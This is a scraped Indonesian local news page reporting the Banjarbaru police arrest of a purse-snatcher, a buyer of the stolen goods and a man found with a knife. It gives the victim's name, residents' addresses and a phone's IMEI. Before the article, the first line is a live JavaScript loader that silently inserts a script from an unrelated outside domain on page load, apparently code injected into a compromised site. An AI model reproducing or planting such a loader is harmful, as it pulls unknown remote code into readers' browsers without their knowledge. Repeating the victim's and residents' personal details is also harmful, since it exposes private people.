(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tim Buser Gabungan Polsek Banjarbaru Barat-Polres Banjarbaru berhasil mengamankan seorang jambret, seorang penadah barang hasil curian dan seorang pria pembawa sajam, Kamis (19/4) siang.
Tersangka jambret diketahui bernama M (40) warga Jalan A Yani Km 21,700 RT 002 RW 001 Kelurahan Landasan Ulin Tengah, Kecamatan Lianganggang, dan S (39) warga Jalan Transad Guntung Manggis RT 23 RW 003 Kelurahan Guntung Manggis, Kecamatan Landasan Ulin yang diketahui sebagai penadah barang hasil penjambretan tersebut.
Pada 30 Maret lalu, Polsek Banjarbaru Barat menerima laporan di Jalan Mekatani samping Villa Bunga’s Kelurahan Guntung Manggis terjadi tindak pidana Curas. Kejadian bermula saat korban Siti Misribut (52) warga Jalan RP Soeparto Komplek Meratus RT 005 RW 005 Kelurahan Mentaos, Kecamatan Banjarbaru Utara bersama temannya sedang berjalan kaki, tiba-tiba dari arah jalan A.Yani datang seorang laki-laki dengan mengendarai sepeda motor dan saat itu menggunakan baju warna kuning langsung mengambil paksa tas jinjing warna hitam korban. Di dalam tas jinjing berisi amplop berisi uang tunai Rp 10 juta, dan dompet kecil warna coklat yang berisikan uang tunai sebesar Rp 650.000 beserta 1 buah HP Samsung.
Hasilnya, Kamis (19/4) siang, tim gabungan mengamankan S (39) yang berperan sebagai penadah barang curian tersebut, sedang duduk di pos penjagaan samping Mekatani, dari hasil penyelidikan terhadap S, barulah diketahuilah eksekutor atau pelaku jambret adalah M (40).
Tidak ingin buruannya lepas, polisi langsung melakukan penggerebekan di rumah yang diduga ditempati tersangka M, Jalan Kasturi II Ujung Kelurahan Syamsudin Noor Kecamatan Landasan Ulin.
Saat penggrebekan, terdapat 5 orang yang sedang berkumpul di dalam rumah tersebut, termasuk tersangka penjambretan M. Dengan sigap Tim Gabungan langsung meringkus pelaku jambret.
Tidak hanya sampai disitu, anggota kepolisian juga melakukan penggeledahan terhadap 4 orang lainnya. Apes bagi Mk (23), ia kedapatan menyimpan senjata tajam jenis badik lengkap dengan kumpang berwarna coklat dengan ukuran keseluruhan kurang lebih 15 cm. Mk meletakkan sajam dalam celana bagian depan dekat dengan perut pelaku.
Tersangka jambret dan tersangka Mk yang membawa senjata tajam di bawa ke Polres Banjarbaru untuk proses lebih lanjut.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim AKP Sudarno membenarkan kejadian tersebut dan mengapresiasi seluruh anggotanya atas penangkapan ini.
“Total tersangka yang berhasil kami amankan ada 3 orang, M pelaku jambret, S sebagai penadah barang curian dan Mk karena kedapatan membawa sajam saat penggerebekan. Saya juga berterima kasih kepada seluruh personil yang telah berperan serta mengungkap kasus ini†ujarnya.
Barang bukti yang berhasil diamankan pihak kepolisian yaitu HP Samsung J1 mini warna Gold no imei. 35831007726065, sepeda motor Yamaha Mio warna biru, baju kaos lengan panjang warna kuning dan sebilah senjata tajam jenis badik.
“Semua barang bukti sudah kami amankan, untuk ketiga tersangka ini akan dikenakan pasal yang berbeda beda tergantung dari peran mereka,†pungkas AKP Sudarno. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.